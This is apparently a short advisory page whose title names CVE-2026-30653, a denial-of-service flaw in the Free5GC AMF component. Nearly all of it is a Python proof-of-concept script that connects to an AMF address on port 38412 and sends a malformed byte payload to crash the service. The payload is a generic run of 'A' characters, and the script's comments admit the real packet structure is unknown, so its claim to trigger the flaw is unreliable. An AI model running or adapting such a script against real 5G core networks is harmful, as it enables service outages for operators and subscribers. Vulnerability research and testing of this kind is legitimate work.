CVE-2026-30653 Free5GC AMF组件拒绝服务漏洞

import socket # PoC for CVE-2026-30653 # This script attempts to trigger the DoS in Free5GC AMF # by sending a malformed packet to the AMF service. # Note: Actual packet structure depends on the specific NAS/NGAP implementation details. def send_exploit(target_ip, target_port): try: # Establish a TCP connection to the AMF interface s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malformed payload intended to trigger # the HandleAuthenticationFailure vulnerability. # This payload simulates a corrupted authentication failure message. # Example: Buffer overflow pattern or specific protocol trigger payload = b"\x00\x00\x00\x01" + b"A" * 1000 print(f"[+] Sending payload to {target_ip}:{target_port}") s.send(payload) # Wait briefly to check if connection closes (crash) s.recv(1024) s.close() print("[+] Payload sent. Check if AMF service crashed.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": TARGET_IP = "192.168.56.101" # Replace with actual AMF IP TARGET_PORT = 38412 # Common AMF port (SCTP/HTTP) send_exploit(TARGET_IP, TARGET_PORT)